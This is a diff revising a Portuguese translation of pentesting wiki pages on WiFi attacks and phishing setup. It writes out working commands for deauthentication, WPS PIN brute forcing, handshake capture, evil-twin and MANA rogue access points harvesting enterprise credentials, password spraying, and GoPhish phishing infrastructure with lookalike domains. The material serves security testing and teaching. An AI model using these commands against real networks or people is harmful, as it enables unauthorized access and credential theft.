[**`includeSubdomains`**](https://hstspreload.appspot.com) **então o** _**wwww.facebook.com**_ **exemplo de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.** +**sslStrip ou sslStrip+ não funcionam mais. Isso ocorre porque existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o** _**wwww.facebook.com**_ **exemplo de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory @@ -774,7 +774,7 @@ Pacotes ARP são usados para descobrir quais IPs estão sendo utilizados dentro ### **mDNS (DNS multicast)** -Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**. A máquina que vê este pacote geralmente responde a essa solicitação. Em seguida, ela apenas procura por máquinas que respondem a "services". +Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**; a máquina que vê este pacote geralmente responde a essa solicitação. Em seguida, ela apenas procura por máquinas que respondem a "services". **Ferramentas** @@ -788,7 +788,7 @@ Bettercap transmite pacotes para a porta 137/UDP perguntando pelo nome "CKAAAAAA ### **SSDP (Protocolo de Descoberta de Serviços Simples)** -Bettercap transmite pacotes SSDP procurando por todo tipo de serviços (Porta UDP 1900). +Bettercap transmite pacotes SSDP procurando por todos os tipos de serviços (Porta UDP 1900). ### **WSD (Descoberta de Serviços Web)** diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md index d86a36155..ef578d3ad 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -53,13 +53,13 @@ sudo python setup.py install # Install any dependencies ``` ### [Wifite2](https://github.com/derv82/wifite2) -Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente: +Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela fará automaticamente: -- Definir a interface em modo monitor +- Configurar a interface em modo monitor - Escanear redes possíveis - E permitir que você selecione a(s) vítima(s) - Se WEP - Lançar ataques WEP - Se WPA-PSK -- Se WPS: ataque Pixie dust e o ataque de força bruta (cuidado, o ataque de força bruta pode demorar muito). Note que não tenta PINs nulos ou PINs gerados/banco de dados. +- Se WPS: ataque Pixie dust e o ataque de força bruta (cuidado, o ataque de força bruta pode demorar muito). Observe que não tenta PINs nulos ou PINs gerados por banco de dados. - Tentar capturar o PMKID do AP para quebrá-lo - Tentar desautenticar clientes do AP para capturar um handshake - Se PMKID ou Handshake, tentar força bruta usando as 5000 senhas mais comuns. @@ -84,7 +84,7 @@ Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente - **Evil Twin** (com ou sem DoS) - **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciais de portal cativo e/ou realizar ataques LAN - **WPA-PSK** Evil Twin -- Útil para ataques de rede se você souber a senha -- **WPA-MGT** -- Útil para capturar credenciais de empresas +- **WPA-MGT** -- Útil para capturar credenciais de empresa - **KARMA, MANA**, **Loud MANA**, **Beacon conhecido** - **+ Open** -- Útil para capturar credenciais de portal cativo e/ou realizar ataques LAN - **+ WPA** -- Útil para capturar handshakes WPA @@ -95,14 +95,14 @@ Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente **Descrição de** [**aqui**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** -Ataques de **desautenticação**, um método prevalente em hacking Wi-Fi, envolvem forjar quadros de "gerenciamento" para **desconectar forçosamente dispositivos de uma rede**. Esses pacotes não criptografados enganam os clientes, fazendo-os acreditar que são da rede legítima, permitindo que os atacantes coletem handshakes WPA para fins de quebra ou para interromper persistentemente as conexões de rede. Essa tática, alarmante em sua simplicidade, é amplamente utilizada e tem implicações significativas para a segurança da rede. +Ataques de **desautenticação**, um método prevalente em hacking Wi-Fi, envolvem forjar quadros de "gerenciamento" para **desconectar forçosamente dispositivos de uma rede**. Esses pacotes não criptografados enganam os clientes, fazendo-os acreditar que são da rede legítima, permitindo que atacantes coletem handshakes WPA para fins de quebra ou para interromper persistentemente conexões de rede. Essa tática, alarmante em sua simplicidade, é amplamente utilizada e tem implicações significativas para a segurança da rede. **Desautenticação usando Aireplay-ng** ``` aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 ``` - -0 significa desautenticação -- 1 é o número de desautenticações a enviar (você pode enviar várias se desejar); 0 significa enviá-las continuamente +- 1 é o número de desautenticações a serem enviadas (você pode enviar várias se desejar); 0 significa enviá-las continuamente - -a 00:14:6C:7E:40:80 é o endereço MAC do ponto de acesso - -c 00:0F:B5:34:30:30 é o endereço MAC do cliente a ser desautenticado; se isso for omitido, então a desautenticação em broadcast é enviada (nem sempre funciona) - ath0 é o nome da interface @@ -111,7 +111,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 **Pacotes de desassociação**, semelhantes aos pacotes de desautenticação, são um tipo de quadro de gerenciamento usado em redes Wi-Fi. Esses pacotes servem para romper a conexão entre um dispositivo (como um laptop ou smartphone) e um ponto de acesso (AP). A principal distinção entre desassociação e desautenticação reside em seus cenários de uso. Enquanto um AP emite **pacotes de desautenticação para remover explicitamente dispositivos indesejados da rede, pacotes de desassociação são tipicamente enviados quando o AP está passando por um desligamento**, reinicialização ou relocação, necessitando assim a desconexão de todos os nós conectados. -**Este ataque pode ser realizado por mdk4(modo "d"):** +**Este ataque pode ser realizado pelo mdk4(modo "d"):** ```bash # -c # -b victim_client_mac.txt contains the MAC address of the device to eliminate @@ -174,9 +174,9 @@ Conectar clientes a múltiplos nós WDS ou APs falsos pode manipular Sistemas de # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e -c [-z] ``` -**MODO DE ATAQUE f: Packet Fuzzer** +**MODO DE ATAQUE f: Fuzzing de Pacotes** -Um packet fuzzer com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes. +Um fuzzing de pacotes com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes. ### **Airggedon** @@ -224,7 +224,7 @@ Se você não quiser mudar o dispositivo para o modo monitor, ou se `reaver` e ` ``` ### Ataque de Null Pin -Alguns sistemas mal projetados permitem até que um **Null PIN** (um PIN vazio ou inexistente) conceda acesso, o que é bastante incomum. A ferramenta **Reaver** é capaz de testar essa vulnerabilidade, ao contrário do **Bully**. +Alguns sistemas mal projetados permitem até um **Null PIN** (um PIN vazio ou inexistente) conceder acesso, o que é bastante incomum. A ferramenta **Reaver** é capaz de testar essa vulnerabilidade, ao contrário do **Bully**. ```bash reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ``` @@ -236,7 +236,7 @@ Todos os ataques WPS propostos podem ser facilmente realizados usando _**airgedd - 5 e 6 permitem que você tente **seu PIN personalizado** (se você tiver algum) - 7 e 8 realizam o **ataque Pixie Dust** -- 13 permite que você teste o **PIN NULL** +- 13 permite que você teste o **PIN NULO** - 11 e 12 **recolherão os PINs relacionados ao AP selecionado de bancos de dados disponíveis** e **gerarão** possíveis **PINs** usando: ComputePIN, EasyBox e opcionalmente Arcadyan (recomendado, por que não?) - 9 e 10 testarão **todos os PINs possíveis** @@ -300,7 +300,7 @@ _Eu notei que alguns handshakes capturados com esta ferramenta não puderam ser Um ataque a redes **WPA/WPA2** pode ser executado capturando um **handshake** e tentando **quebrar** a senha **offline**. Este processo envolve monitorar a comunicação de uma rede específica e **BSSID** em um **canal** particular. Aqui está um guia simplificado: 1. Identifique o **BSSID**, **canal** e um **cliente conectado** da rede alvo. -2. Use `airodump-ng` para monitorar o tráfego da rede no canal e BSSID especificados, esperando capturar um handshake. O comando ficará assim: +2. Use `airodump-ng` para monitorar o tráfego da rede no canal e BSSID especificados, na esperança de capturar um handshake. O comando ficará assim: ```bash airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap ``` @@ -371,7 +371,7 @@ Dentro do pacote "**Resposta, Identidade**", o **nome de usuário** do cliente a ### Identidades Anônimas -A ocultação de identidade é suportada tanto pelo EAP-PEAP quanto pelo EAP-TTLS. No contexto de uma rede WiFi, uma solicitação de EAP-Identidade é tipicamente iniciada pelo ponto de acesso (AP) durante o processo de associação. Para garantir a proteção da anonimidade do usuário, a resposta do cliente EAP no dispositivo do usuário contém apenas as informações essenciais necessárias para que o servidor RADIUS inicial processe a solicitação. Este conceito é ilustrado através dos seguintes cenários: +A ocultação de identidade é suportada tanto pelo EAP-PEAP quanto pelo EAP-TTLS. No contexto de uma rede WiFi, uma solicitação de EAP-Identidade é tipicamente iniciada pelo ponto de acesso (AP) durante o processo de associação. Para garantir a proteção do anonimato do usuário, a resposta do cliente EAP no dispositivo do usuário contém apenas as informações essenciais necessárias para que o servidor RADIUS inicial processe a solicitação. Este conceito é ilustrado através dos seguintes cenários: - EAP-Identidade = anônimo - Neste cenário, todos os usuários utilizam o pseudônimo "anônimo" como seu identificador de usuário. O servidor RADIUS inicial funciona como um servidor EAP-PEAP ou EAP-TTLS, responsável por gerenciar o lado do servidor do protocolo PEAP ou TTLS. O método de autenticação interno (protegido) é então tratado localmente ou delegado a um servidor RADIUS remoto (doméstico). @@ -383,7 +383,7 @@ No EAP-PEAP, uma vez que o túnel TLS é estabelecido entre o servidor PEAP e o O EAP-TTLS segue um procedimento ligeiramente diferente. Com o EAP-TTLS, o cliente normalmente se autentica usando PAP ou CHAP, protegido pelo túnel TLS. Neste caso, o cliente inclui um atributo User-Name e um atributo Password ou CHAP-Password na mensagem TLS inicial enviada após o estabelecimento do túnel. -Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável pela autenticação do usuário, agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada de protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando o User-Name anônimo e os atributos EAP-Message TTLS encontrados na solicitação RADIUS de entrada. +Independentemente do protocolo escolhido, o servidor PEAP/TTLS obtém conhecimento da verdadeira identidade do usuário após o túnel TLS ter sido estabelecido. A verdadeira identidade pode ser representada como user@realm ou simplesmente user. Se o servidor PEAP/TTLS também for responsável pela autenticação do usuário, agora possui a identidade do usuário e prossegue com o método de autenticação protegido pelo túnel TLS. Alternativamente, o servidor PEAP/TTLS pode encaminhar uma nova solicitação RADIUS para o servidor RADIUS doméstico do usuário. Esta nova solicitação RADIUS omite a camada de protocolo PEAP ou TTLS. Nos casos em que o método de autenticação protegido é EAP, as mensagens EAP internas são transmitidas para o servidor RADIUS doméstico sem a embalagem EAP-PEAP ou EAP-TTLS. O atributo User-Name da mensagem RADIUS de saída contém a verdadeira identidade do usuário, substituindo o User-Name anônimo da solicitação RADIUS de entrada. Quando o método de autenticação protegido é PAP ou CHAP (suportado apenas pelo TTLS), o User-Name e outros atributos de autenticação extraídos da carga útil TLS são substituídos na mensagem RADIUS de saída, deslocando os atributos User-Name anônimo e TTLS EAP-Message encontrados na solicitação RADIUS de entrada. Para mais informações, consulte [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm) @@ -393,7 +393,7 @@ Se espera-se que o cliente use um **nome de usuário e senha** (note que **EAP-T ```bash ./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt ``` -Você também pode realizar esse ataque usando `eaphammer`: +Você também pode realizar este ataque usando `eaphammer`: ```bash ./eaphammer --eap-spray \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ @@ -407,7 +407,7 @@ Você também pode realizar esse ataque usando `eaphammer`: - O protocolo 802.11 define como uma estação se junta a um Conjunto de Serviço Estendido (ESS), mas não especifica os critérios para selecionar um ESS ou um ponto de acesso (AP) dentro dele. - As estações podem fazer roaming entre APs que compartilham o mesmo ESSID, mantendo a conectividade em um edifício ou área. -- O protocolo exige autenticação da estação ao ESS, mas não exige autenticação do AP à estação. +- O protocolo requer autenticação da estação ao ESS, mas não exige autenticação do AP para a estação. ### Listas de Redes Preferidas (PNLs) @@ -416,7 +416,7 @@ Você também pode realizar esse ataque usando `eaphammer`: ### Escaneamento Passivo -- Os APs transmitem periodicamente quadros de beacon, anunciando sua presença e características, incluindo o ESSID do AP, a menos que a transmissão esteja desativada. +- Os APs periodicamente transmitem quadros de beacon, anunciando sua presença e características, incluindo o ESSID do AP, a menos que a transmissão esteja desativada. - Durante o escaneamento passivo, as estações escutam os quadros de beacon. Se o ESSID de um beacon corresponder a uma entrada na PNL da estação, a estação pode se conectar automaticamente a esse AP. - O conhecimento da PNL de um dispositivo permite uma possível exploração ao imitar o ESSID de uma rede conhecida, enganando o dispositivo para se conectar a um AP malicioso. @@ -479,7 +479,7 @@ wpa_group_rekey=86400 ieee80211n=1 wme_enabled=1 ``` -**Pare processos irritantes**, defina **modo monitor** e **inicie o hostapd**: +**Pare processos irritantes**, configure **modo monitor** e **inicie o hostapd**: ```bash airmon-ng check kill iwconfig wlan0 mode monitor @@ -497,7 +497,7 @@ echo 1 > /proc/sys/net/ipv4/ip_forward Um ataque de evil twin explora a maneira como os clientes WiFi reconhecem redes, dependendo principalmente do nome da rede (ESSID) sem exigir que a estação base (ponto de acesso) se autentique ao cliente. Os pontos-chave incluem: - **Dificuldade em Diferenciação**: Dispositivos têm dificuldade em distinguir entre pontos de acesso legítimos e maliciosos quando compartilham o mesmo ESSID e tipo de criptografia. Redes do mundo real frequentemente usam múltiplos pontos de acesso com o mesmo ESSID para estender a cobertura de forma contínua. -- **Roaming de Cliente e Manipulação de Conexão**: O protocolo 802.11 permite que dispositivos se movam entre pontos de acesso dentro do mesmo ESS. Atacantes podem explorar isso atraindo um dispositivo a desconectar de sua estação base atual e conectar-se a uma maliciosa. Isso pode ser alcançado oferecendo um sinal mais forte ou interrompendo a conexão com o ponto de acesso legítimo através de métodos como pacotes de desautenticação ou jamming. +- **Roaming de Cliente e Manipulação de Conexão**: O protocolo 802.11 permite que dispositivos se movam entre pontos de acesso dentro do mesmo ESS. Ataques podem explorar isso atraindo um dispositivo a desconectar de sua estação base atual e conectar-se a uma maliciosa. Isso pode ser alcançado oferecendo um sinal mais forte ou interrompendo a conexão com o ponto de acesso legítimo através de métodos como pacotes de desautenticação ou interferência. - **Desafios na Execução**: Executar com sucesso um ataque de evil twin em ambientes com múltiplos pontos de acesso bem posicionados pode ser desafiador. Desautenticar um único ponto de acesso legítimo frequentemente resulta no dispositivo se conectando a outro ponto de acesso legítimo, a menos que o atacante consiga desautenticar todos os pontos de acesso próximos ou posicionar estrategicamente o ponto de acesso malicioso. Você pode criar um Open Evil Twin muito básico (sem capacidades de rotear tráfego para a Internet) fazendo: @@ -512,9 +512,9 @@ Ou usando Airgeddon: `Options: 5,6,7,8,9 (dentro do menu de ataque Evil Twin).` ![](<../../images/image (1088).png>) -Por favor, note que por padrão, se um ESSID no PNL estiver salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar DoS no AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou você pode DoS no AP real e usar um WPA Evil Twin para capturar o handshake (usando este método, você não poderá fazer a vítima se conectar a você, pois não conhece o PSK, mas pode capturar o handshake e tentar quebrá-lo). +Por favor, note que por padrão, se um ESSID no PNL estiver salvo como protegido por WPA, o dispositivo não se conectará automaticamente a um Evil Twin aberto. Você pode tentar DoS no AP real e esperar que o usuário se conecte manualmente ao seu Evil Twin aberto, ou você poderia DoS no AP real e usar um WPA Evil Twin para capturar o handshake (usando este método você não poderá fazer a vítima se conectar a você, pois não conhece o PSK, mas pode capturar o handshake e tentar quebrá-lo). -_Alguns sistemas operacionais e antivírus avisarão o usuário que se conectar a uma rede aberta é perigoso..._ +_Alguns sistemas operacionais e antivírus avisarão o usuário que conectar-se a uma rede aberta é perigoso..._ ### WPA/WPA2 Evil Twin @@ -524,7 +524,7 @@ Você pode criar um **Evil Twin usando WPA/2** e se os dispositivos estiverem co ``` ### Enterprise Evil Twin -Para entender esses ataques, eu recomendaria ler antes a breve [explicação do WPA Enterprise](./#wpa-enterprise-mgt). +Para entender esses ataques, eu recomendaria ler antes a breve [explicação do WPA Enterprise](#wpa-enterprise-mgt). **Usando hostapd-wpe** @@ -545,17 +545,17 @@ No arquivo de configuração, você pode selecionar muitas coisas diferentes, co # Launch Attack ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ``` -Por padrão, o EAPHammer propõe esses métodos de autenticação (note que GTC é o primeiro a ser tentado para obter senhas em texto simples e, em seguida, o uso de métodos de autenticação mais robustos): +Por padrão, o EAPHammer propõe esses métodos de autenticação (note que GTC é o primeiro a ser tentado para obter senhas em texto claro e, em seguida, o uso de métodos de autenticação mais robustos): ``` GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 ``` -Esta é a metodologia padrão para evitar longos tempos de conexão. No entanto, você também pode especificar para o servidor os métodos de autenticação do mais fraco para o mais forte: +Esta é a metodologia padrão para evitar longos tempos de conexão. No entanto, você também pode especificar ao servidor os métodos de autenticação do mais fraco para o mais forte: ``` --negotiate weakest ``` Ou você também pode usar: -- `--negotiate gtc-downgrade` para usar uma implementação de downgrade GTC altamente eficiente (senhas em texto claro) +- `--negotiate gtc-downgrade` para usar uma implementação de downgrade GTC altamente eficiente (senhas em texto simples) - `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` para especificar manualmente os métodos oferecidos (oferecer os mesmos métodos de autenticação na mesma ordem que a organização tornará o ataque muito mais difícil de detectar). - [Encontre mais informações na wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) @@ -581,7 +581,7 @@ Adicione uma nova entrada e preencha o formulário com estes valores: **Endereç ![](<../../images/image (687).png>) -E olhe para a nova **"aba Decrypted TLS"**: +E olhe na nova **aba "Decrypted TLS"**: ![](<../../images/image (231).png>) @@ -589,7 +589,7 @@ E olhe para a nova **"aba Decrypted TLS"**: ### Listas negras/whitelists de ESSID e MAC -Diferentes tipos de Listas de Filtro de Controle de Acesso à Mídia (MFACLs) e seus modos e efeitos correspondentes no comportamento de um Ponto de Acesso (AP) malicioso: +Diferentes tipos de Listas de Filtro de Controle de Acesso à Mídia (MFACLs) e seus modos correspondentes e efeitos no comportamento de um Ponto de Acesso (AP) malicioso: 1. **Whitelist baseada em MAC**: - O AP malicioso responderá apenas a solicitações de sondagem de dispositivos especificados na lista branca, permanecendo invisível a todos os outros não listados. @@ -620,25 +620,25 @@ name3 ``` ### KARMA -Este método permite que um **atacante crie um ponto de acesso (AP) malicioso que responde a todas as solicitações de sondagem** de dispositivos que buscam se conectar a redes. Esta técnica **enganha os dispositivos para se conectarem ao AP do atacante** ao imitar as redes que os dispositivos estão procurando. Uma vez que um dispositivo envia uma solicitação de conexão a este AP falso, ele completa a conexão, levando o dispositivo a se conectar erroneamente à rede do atacante. +Este método permite que um **atacante crie um ponto de acesso (AP) malicioso que responde a todas as solicitações de sondagem** de dispositivos que buscam se conectar a redes. Esta técnica **enganha os dispositivos para se conectarem ao AP do atacante** ao imitar as redes que os dispositivos estão procurando. Uma vez que um dispositivo envia uma solicitação de conexão para este AP malicioso, a conexão é completada, levando o dispositivo a se conectar erroneamente à rede do atacante. ### MANA -Então, **os dispositivos começaram a ignorar respostas de rede não solicitadas**, reduzindo a eficácia do ataque karma original. No entanto, um novo método, conhecido como **ataque MANA**, foi introduzido por Ian de Villiers e Dominic White. Este método envolve o AP falso **capturando as Listas de Redes Preferidas (PNL) dos dispositivos ao responder às suas solicitações de sondagem de transmissão** com nomes de rede (SSIDs) previamente solicitados pelos dispositivos. Este ataque sofisticado contorna as proteções contra o ataque karma original explorando a maneira como os dispositivos lembram e priorizam redes conhecidas. +Então, **os dispositivos começaram a ignorar respostas de rede não solicitadas**, reduzindo a eficácia do ataque karma original. No entanto, um novo método, conhecido como **ataque MANA**, foi introduzido por Ian de Villiers e Dominic White. Este método envolve o AP malicioso **capturando as Listas de Redes Preferidas (PNL) dos dispositivos ao responder às suas solicitações de sondagem de broadcast** com nomes de redes (SSIDs) previamente solicitados pelos dispositivos. Este ataque sofisticado contorna as proteções contra o ataque karma original explorando a maneira como os dispositivos lembram e priorizam redes conhecidas. -O ataque MANA opera monitorando tanto solicitações de sondagem direcionadas quanto de transmissão de dispositivos. Para solicitações direcionadas, ele registra o endereço MAC do dispositivo e o nome da rede solicitada, adicionando essas informações a uma lista. Quando uma solicitação de transmissão é recebida, o AP responde com informações que correspondem a qualquer uma das redes na lista do dispositivo, atraindo o dispositivo a se conectar ao AP falso. +O ataque MANA opera monitorando tanto solicitações de sondagem direcionadas quanto de broadcast dos dispositivos. Para solicitações direcionadas, ele registra o endereço MAC do dispositivo e o nome da rede solicitada, adicionando essas informações a uma lista. Quando uma solicitação de broadcast é recebida, o AP responde com informações que correspondem a qualquer uma das redes na lista do dispositivo, atraindo o dispositivo a se conectar ao AP malicioso. ```bash ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` ### Loud MANA -Um **ataque Loud MANA** é uma estratégia avançada para quando os dispositivos não usam sondagem direcionada ou quando suas Listas de Redes Preferidas (PNL) são desconhecidas para o atacante. Ele opera com o princípio de que **dispositivos na mesma área provavelmente compartilham alguns nomes de rede em suas PNLs**. Em vez de responder de forma seletiva, este ataque transmite respostas de sondagem para cada nome de rede (ESSID) encontrado nas PNLs combinadas de todos os dispositivos observados. Essa abordagem ampla aumenta a chance de um dispositivo reconhecer uma rede familiar e tentar se conectar ao Ponto de Acesso (AP) malicioso. +Um **ataque Loud MANA** é uma estratégia avançada para quando os dispositivos não usam sondagem direcionada ou quando suas Listas de Redes Preferidas (PNL) são desconhecidas para o atacante. Ele opera sob o princípio de que **dispositivos na mesma área provavelmente compartilham alguns nomes de rede em suas PNLs**. Em vez de responder de forma seletiva, este ataque transmite respostas de sondagem para cada nome de rede (ESSID) encontrado nas PNLs combinadas de todos os dispositivos observados. Essa abordagem ampla aumenta a chance de um dispositivo reconhecer uma rede familiar e tentar se conectar ao Ponto de Acesso (AP) malicioso. ```bash ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ``` ### Known Beacon attack -Quando o **Loud MANA attack** pode não ser suficiente, o **Known Beacon attack** apresenta outra abordagem. Este método **força o processo de conexão simulando um AP que responde a qualquer nome de rede, passando por uma lista de ESSIDs potenciais** derivada de uma lista de palavras. Isso simula a presença de inúmeras redes, na esperança de corresponder a um ESSID dentro da PNL da vítima, levando a uma tentativa de conexão com o AP fabricado. O ataque pode ser amplificado combinando-o com a opção `--loud` para uma tentativa mais agressiva de capturar dispositivos. +Quando o **Loud MANA attack** pode não ser suficiente, o **Known Beacon attack** apresenta outra abordagem. Este método **força o processo de conexão simulando um AP que responde a qualquer nome de rede, passando por uma lista de ESSIDs potenciais** derivada de uma lista de palavras. Isso simula a presença de inúmeras redes, na esperança de corresponder a um ESSID dentro da PNL da vítima, levando a uma tentativa de conexão ao AP fabricado. O ataque pode ser amplificado combinando-o com a opção `--loud` para uma tentativa mais agressiva de capturar dispositivos. Eaphammer implementou este ataque como um ataque MANA onde todos os ESSIDs dentro de uma lista são carregados (você também pode combinar isso com `--loud` para criar um ataque Loud MANA + Known beacons): ```bash diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index 1b627394b..f0f6f01ba 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -6,7 +6,7 @@ 1. Reconhecer a vítima 1. Selecionar o **domínio da vítima**. -2. Realizar uma enumeração web básica **procurando por portais de login** usados pela vítima e **decidir** qual você irá **impersonar**. +2. Realizar uma enumeração web básica **procurando por portais de login** usados pela vítima e **decidir** qual você irá **imitar**. 3. Usar algum **OSINT** para **encontrar e-mails**. 2. Preparar o ambiente 1. **Comprar o domínio** que você vai usar para a avaliação de phishing. @@ -22,7 +22,7 @@ ### Técnicas de Variação de Nome de Domínio - **Palavra-chave**: O nome do domínio **contém** uma **palavra-chave** importante do domínio original (por exemplo, zelster.com-management.com). -- **subdomínio hifenizado**: Mudar o **ponto por um hífen** de um subdomínio (por exemplo, www-zelster.com). +- **subdomínio hifenizado**: Trocar o **ponto por um hífen** de um subdomínio (por exemplo, www-zelster.com). - **Novo TLD**: Mesmo domínio usando um **novo TLD** (por exemplo, zelster.org). - **Homoglyph**: **Substitui** uma letra no nome do domínio por **letras que parecem semelhantes** (por exemplo, zelfser.com). - **Transposição:** **Troca duas letras** dentro do nome do domínio (por exemplo, zelsetr.com). @@ -47,7 +47,7 @@ ### Bitflipping -Há uma **possibilidade de que um ou mais bits armazenados ou em comunicação possam ser automaticamente invertidos** devido a vários fatores, como flares solares, raios cósmicos ou erros de hardware. +Há uma **possibilidade de que alguns bits armazenados ou em comunicação possam ser automaticamente invertidos** devido a vários fatores, como flares solares, raios cósmicos ou erros de hardware. Quando esse conceito é **aplicado a solicitações DNS**, é possível que o **domínio recebido pelo servidor DNS** não seja o mesmo que o domínio inicialmente solicitado. @@ -73,7 +73,7 @@ Para garantir que o domínio expirado que você vai comprar **já tenha um bom S - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -Para **descobrir mais** endereços de e-mail válidos ou **verificar os que você já descobriu**, você pode verificar se consegue forçar os servidores smtp da vítima. [Aprenda como verificar/descobrir endereços de e-mail aqui](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\ +Para **descobrir mais** endereços de e-mail válidos ou **verificar os que você já descobriu**, você pode verificar se consegue forçar os servidores smtp da vítima. [Aprenda como verificar/descobrir endereços de e-mail aqui](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ Além disso, não se esqueça de que se os usuários usarem **qualquer portal web para acessar seus e-mails**, você pode verificar se ele é vulnerável a **força bruta de nome de usuário** e explorar a vulnerabilidade, se possível. ## Configurando GoPhish @@ -82,7 +82,7 @@ Além disso, não se esqueça de que se os usuários usarem **qualquer portal we Você pode baixá-lo em [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) -Baixe e descompacte dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\ +Baixe e descompacte-o dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\ Você receberá uma senha para o usuário admin na porta 3333 na saída. Portanto, acesse essa porta e use essas credenciais para alterar a senha do admin. Você pode precisar redirecionar essa porta para local: ```bash ssh -L 3333:127.0.0.1:3333 @ @@ -91,7 +91,7 @@ ssh -L 3333:127.0.0.1:3333 @ **Configuração do certificado TLS** -Antes desta etapa, você deve **já ter comprado o domínio** que vai usar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando **gophish**. +Antes desta etapa, você deve **já ter comprado o domínio** que vai usar e ele deve **apontar** para o **IP do VPS** onde você está configurando **gophish**. ```bash DOMAIN="" wget https://dl.eff.org/certbot-auto @@ -107,7 +107,7 @@ mkdir /opt/gophish/ssl_keys cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt​ ``` -**Configuração de e-mail** +**Configuração de Mail** Comece instalando: `apt-get install postfix` @@ -124,9 +124,9 @@ Em seguida, adicione o domínio aos seguintes arquivos: Finalmente, modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para o seu nome de domínio e **reinicie seu VPS.** -Agora, crie um **registro A DNS** de `mail.` apontando para o **endereço IP** do VPS e um **registro MX DNS** apontando para `mail.` +Agora, crie um **registro DNS A** de `mail.` apontando para o **endereço IP** do VPS e um **registro DNS MX** apontando para `mail.` -Agora vamos testar o envio de um e-mail: +Agora vamos testar o envio de um email: ```bash apt install mailutils echo "This is the body of the email" | mail -s "This is the subject line" test@email.com @@ -233,7 +233,7 @@ Defina um registro rDNS (PTR) que resolva o endereço IP do VPS para o nome do d ### Registro de Sender Policy Framework (SPF) -Você deve **configurar um registro SPF para o novo domínio**. Se você não sabe o que é um registro SPF [**leia esta página**](../../network-services-pentesting/pentesting-smtp/#spf). +Você deve **configurar um registro SPF para o novo domínio**. Se você não sabe o que é um registro SPF [**leia esta página**](../../network-services-pentesting/pentesting-smtp/index.html#spf). Você pode usar [https://www.spfwizard.net/](https://www.spfwizard.net) para gerar sua 